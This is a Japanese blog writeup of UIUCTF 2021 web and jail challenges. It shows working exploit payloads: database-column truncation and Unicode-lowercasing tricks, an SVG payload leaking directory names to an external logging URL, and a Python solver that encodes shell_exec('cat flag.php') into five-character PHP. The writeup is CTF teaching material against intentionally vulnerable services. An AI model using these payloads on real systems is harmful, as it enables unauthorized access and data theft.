st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏

UIUCTF 2021 writeup

7/31 - 8/2という日程で開催された。zer0ptsで参加して10位。Web問がパズル要素多めで楽しかった。

[Web 50] wasmbaby (372 solves)

wasmファイルを読む…必要はなく、strings で一発。

$ strings -n 8 "index.wasm" | grep uiu
uiuctf{welcome_to_wasm_e3c3bdd1}

[Web 112] ponydb (49 solves)

使われているRDBMSMySQL。以下のように favorites というカラムは型が varchar(256) なので、256文字以上の文字列を突っ込めば256文字に切り詰められる。

try: cursor.execute('CREATE TABLE `ponies` (`name` varchar(64), `bio` varchar(256), '
                    '`image` varchar(256), `favorites` varchar(256), `session` varchar(64))')

切り詰めを防止するために以下のように文字列の長さはちゃんとチェックされている。と思いきや、よく見ると favorite_keyfavorite_value では、64文字を超えても他のデータのように error という変数に文字列が代入されていない。このせいで favorite_keyfavorite_value に65文字以上の文字列を突っ込んでもスルーされてしまう。

   image = request.form['image']
    if "'" in image: error = 'Image URL may not contain single quote'
    if len(image) > 256: error = 'Image URL too long'

    favorite_key = request.form['favorite_key']
    if "'" in favorite_key: error = 'Custom favorite name may not contain single quote'
    if len(favorite_key) > 64: 'Custom favorite name too long'

    favorite_value = request.form['favorite_value']
    if "'" in favorite_value: error = 'Custom favorite may not contain single quote'
    if len(favorite_value) > 64: 'Custom favorite too long'

...

    if error: flash(error)

favorite_keyfavorite_value は最終的に以下のような形でJSONとして格納される。number の値を 1337 に変えることができればフラグが得られるので、favorite_keyfavorite_value より後ろにある number が切り捨てられるようにしたい。適当にスペースで文字数を調整して、切り詰められた後のJSON{"(favorite_key)":"","number":1337} になるような favorite_value を生成する。

       cur.execute(f"INSERT INTO `ponies` VALUES ('{name}', '{bio}', '{image}', " + \
                    f"'{{\"{favorite_key.lower()}\":\"{favorite_value}\"," + \
                    f"\"word\":\"{word.lower()}\",\"number\":{number}}}', " + \
                    f"'{session['id']}')")

favorite_keyafavorite_value","number":1337}(スペースが234個) を入力するとフラグが得られた。

uiuctf{My_l33tle_p0ny_5fb234}

[Web 417] miniaturehorsedb (13 solves)

ponydbに以下のような変更が加えられた。今度は favorite_keyfavorite_value が64文字を超えればちゃんと弾かれるようになった。

$ diff -u old.py new.py
--- old.py      2021-06-19 05:45:17.000000000 +0900
+++ new.py      2021-08-01 00:13:34.000000000 +0900
@@ -71,11 +71,11 @@

        favorite_key = request.form['favorite_key']
        if "'" in favorite_key: error = 'Custom favorite name may not contain single quote'
-       if len(favorite_key) > 64: 'Custom favorite name too long'
+       if len(favorite_key) > 64: error = 'Custom favorite name too long'

        favorite_value = request.form['favorite_value']
        if "'" in favorite_value: error = 'Custom favorite may not contain single quote'
-       if len(favorite_value) > 64: 'Custom favorite too long'
+       if len(favorite_value) > 64: error = 'Custom favorite too long'

        word = request.form['word']
        if "'" in word: error = 'Word may not contain single quote'

文字数のチェックでは len(favorite_key) が使われているが、レコードの挿入時には favorite_key.lower()str.lower() によって小文字化されていることに注目して、nyankoさんが len('İ') が1なのに対して len('İ'.lower()) は2であることを見つけていた。

これを使えば、保存時に str.lower() に通される favorite_keyword にいっぱい İ を入れてやることで、256文字への切り詰めでそれらのキーより後ろにある number を無視させることができるはず。以下のように入力するとフラグが得られた。

favorite_key: İİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİ
favorite_value: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","number":1337,"a":"a
word: İİİİİİİİİİİİİİİİİİİİİİİİİ"}
uiuctf{wh0ops_th1s_on3_was_harder_r1ght_9fa2b}

[Web 483] essveegee (4 solves)

SVGをアップロードすると /app/sessions/(セッションID)/uploads/(SVGのID).svg に保存される。SVGのIDをadminに報告するとadminがPlaywrightで file:///app/… を見に行く。SVGならJavaScriptが実行できるのではないかと思ってしまうが、以下のようにJavaScriptの実行は無効化されてしまっている。

    const context = await browser.newContext({
        javaScriptEnabled: false
    })

以下のコードからわかるように、フラグは /app/sessions/(セッションID)/flag/a/0/b/f/…/flag.txt のようなランダムなパスに保存され、またフラグの保存されるディレクトリはadminに報告する度に変更される。

    // move the flag to a super secret directory
    try {
        fs.rmdirSync(`${SESSION_DIR}/${req.sessionID}/flag`, { recursive: true })
    } catch { }
    try {
        const flagPath = `${SESSION_DIR}/${req.sessionID}/flag/${crypto.randomBytes(5).toString('hex').split('').join('/')}`
        fs.mkdirSync(flagPath, { recursive: true })
        fs.writeFileSync(`${flagPath}/flag.txt`, process.env.FLAG ?? 'flag{test_flag}')
    } catch { }

JavaScriptもなしにどうやってフラグの保存されているディレクトリを特定すればよいのだろうかと悩んでいたが、しばらく考えて以下のように object 要素とfallback contentを組み合わせれば、外側の object 要素の読み込みが失敗した(つまり、そのディレクトリが存在しなかった)際にfallback contentの object 要素によって http://localhost:8000?… へのHTTPリクエストが発生するから、そのHTTPリクエストが発生したかどうかによってディレクトリの存在が確認できるという方法を思いついた。

<svg xmlns="http://www.w3.org/2000/svg">
  <foreignObject class="node" x="6" y="22" width="1000" height="1000">
    <body xmlns="http://www.w3.org/1999/xhtml">
      <object width="50" height="50" data="../flag/0">
        <object data="http://localhost:8000?0"></object>
      </object>
      <object width="50" height="50" data="../flag/1">
        <object data="http://localhost:8000?1"></object>
      </object>
      ...
      <object width="50" height="50" data="../flag/f">
        <object data="http://localhost:8000?f"></object>
      </object>
    </body>
  </foreignObject>
</svg>

ただし、この方法だけではせいぜい数階層分しか特定できない。フラグを得るには10階層分を特定する必要があるが、ひとつのSVGファイルで10階層分の特定は非現実的だし、複数のSVGファイルをアップロードして複数回の報告をしようとすればフラグのパスは変わってしまう。

iframe で適当なWebサーバを開かせて、そちらにフラグのあるディレクトリを特定するためのHTMLを動的に生成させるようにしても、ローカルファイルを読み込もうとしたら Not allowed to load local と怒られてしまう。なんとかしてローカルで完結させなければならない。

ここで、s1r1usさんがSVGをアップロードするセッションとはまた別のセッションを作ってやって、そちらのフラグの保存されているパスを特定するようにすれば、SVGの報告ごとのディレクトリの変更の影響を受けないのではと思いついた。なるほど。

以下のようにペイロードを生成するスクリプトを書き、ペイロードの生成と報告を10回繰り返してフラグの存在するディレクトリを特定する。

s = '''
<svg xmlns="http://www.w3.org/2000/svg">
  <foreignObject class="node" x="6" y="22" width="1000" height="1000">
    <body xmlns="http://www.w3.org/1999/xhtml">
'''

session_id = '(セッションID)'
known = '0/e/d/9/1/a/9/a/c/'
for c in '0123456789abcdef':
  s += f'''
      <object width="50" height="50" data="../../{session_id}/flag/{known}{c}">
        <object data="http://…/log.php?{c}"></object>
      </object>
  '''

s += '''
    </body>
  </foreignObject>
</svg>
'''

with open('payload.svg', 'w') as f:
  f.write(s)

以下のようなSVGファイルをアップロードし報告してやると、フラグが得られた。

<svg xmlns="http://www.w3.org/2000/svg">
  <foreignObject class="node" x="6" y="22" width="1000" height="1000">
    <body xmlns="http://www.w3.org/1999/xhtml">
      <iframe src="../../(セッションID)/flag/(特定したフラグのパス)/flag.txt"></iframe>
   </body>
  </foreignObject>
</svg>

f:id:st98:20210802102352p:plain

[Jail 449] phpfuck_fixed (9 solves)

任意のPHPコードを7種類の文字で表現される等価なコードに変換できるPHPF*ckというツールがあるのだけれども、これを以下のコードが言うように5種類で実現せよという問題だった。無茶を言うな。

<?php
// Flag is inside ./flag.php :)
($x=str_replace("`","",strval($_REQUEST["x"])))&&strlen(count_chars($x,3))<=5?print(eval("return $x;")):show_source(__FILE__)&&phpinfo()

後から Look, he has a monocle (^.9) と、(^.9) の5種類で実現できるというヒントが追加された。このヒントからnyankoさんがまず以下のように 0, 1, 2, 4, 8, INF を作れることを見つけていた。

php > var_dump(9^9);
int(0)
php > var_dump(.99999999999999999^(9^9));
int(1)
php > var_dump(9^9.9999999999999999^.99999999999999999);
int(2)
php > var_dump((.99999999999999999^(9^9)).(9^9.9999999999999999^.99999999999999999)^9^.99999999999999999);
int(4)
php > var_dump(9^.99999999999999999);
int(8)
php > var_dump((9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9));
string(4) "INF9"

さらに、(2^4) のようにXORを使えばこれらから0から9までの数値を作れるし、((4).(2))^0 のように数値に対して文字列の結合演算子を使えば任意の数値を作れることも見つけていた。すごい。

nyankoさんが見つけたこれらのテクニックを応用して、次のようなスクリプトCHr という文字列が作れる。

table = {
  0: '(9^9)',
  1: '(.99999999999999999^(9^9))',
  2: '(9^9.9999999999999999^.99999999999999999)',
  4: '((.99999999999999999^(9^9)).(9^9.9999999999999999^.99999999999999999)^9^.99999999999999999)',
  8: '(9^.99999999999999999)',
  'INF': '((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))'
}

for x in range(10):
  if x not in table:
    res = []
    for i in range(4):
      if x & (1 << i):
        res.append(table[1 << i])
    table[x] = '(' + '^'.join(res) + ')'

# @@@
a = table['INF'] + '^' + \
    '.'.join([table[8], table[8], table[4]]) + '^' + \
    '.'.join([table[1], table[6], table[2]])

# CH
ch = a + '^' + \
    '.'.join([table[0], table[0]]) + '^' + \
    '.'.join([table[3], table[8]])

# r
r = table['INF'] + '^' + \
    '.'.join([table[8], table[8]]) + '^' + \
    '.'.join([table[1], table[8]]) + '^' + \
    '.'.join([table[2], table[8]])

# CHr
chr = '(' + ch + ').(' + r + ')'
chr = '(' + chr + ')' + \
    '^(' + '.'.join([table[0], table[0], table[0]]) + ')' + \
    '^(' + '.'.join([table[0], table[0], table[0]]) + ')'

print(chr)

CHr という文字列さえあれば、('CHr')(65).('CHr')(66).('CHr')(67) == 'ABC' のようにして任意の文字列が楽に作れる。shell_exec('cat flag.php') 相当のコードを生成して実行させればフラグが得られた。

import requests

table = {
  0: '(9^9)',
  1: '(.99999999999999999^(9^9))',
  2: '(9^9.9999999999999999^.99999999999999999)',
  4: '((.99999999999999999^(9^9)).(9^9.9999999999999999^.99999999999999999)^9^.99999999999999999)',
  8: '(9^.99999999999999999)',
  'chr': '((((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^(9^.99999999999999999).(9^.99999999999999999).((.99999999999999999^(9^9)).(9^9.9999999999999999^.99999999999999999)^9^.99999999999999999)^(.99999999999999999^(9^9)).((9^9.9999999999999999^.99999999999999999)^((.99999999999999999^(9^9)).(9^9.9999999999999999^.99999999999999999)^9^.99999999999999999)).(9^9.9999999999999999^.99999999999999999)^(9^9).(9^9)^((.99999999999999999^(9^9))^(9^9.9999999999999999^.99999999999999999)).(9^.99999999999999999)).(((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^(9^.99999999999999999).(9^.99999999999999999)^(.99999999999999999^(9^9)).(9^.99999999999999999)^(9^9.9999999999999999^.99999999999999999).(9^.99999999999999999)))^((9^9).(9^9).(9^9))^((9^9).(9^9).(9^9))'
}

for x in range(10):
  if x not in table:
    res = []
    for i in range(4):
      if x & (1 << i):
        res.append(table[1 << i])
    table[x] = '(' + '^'.join(res) + ')'

def encode_number(x):
  res = []
  for c in str(x):
    res.append(table[int(c)])
  return '.'.join(res)

def encode(s):
  res = []
  for c in s:
    res.append(encode_number(ord(c)))

  res = '(chr)(' + ').(chr)('.join(res) + ')'
  res = res.replace('chr', table['chr'])

  return res

payload = '(' + encode('shell_exec') + ')(' + encode('cat flag.php') + ')'
req = requests.post('http://phpfuck-fixed.chal.uiuc.tf/', data={
  'x': payload
})
print(req.text)
$ python solve.py
<?php /* uiuctf{pl3as3_n0_m0rE_pHpee_9f4e3058} */ ?>
No flag for you!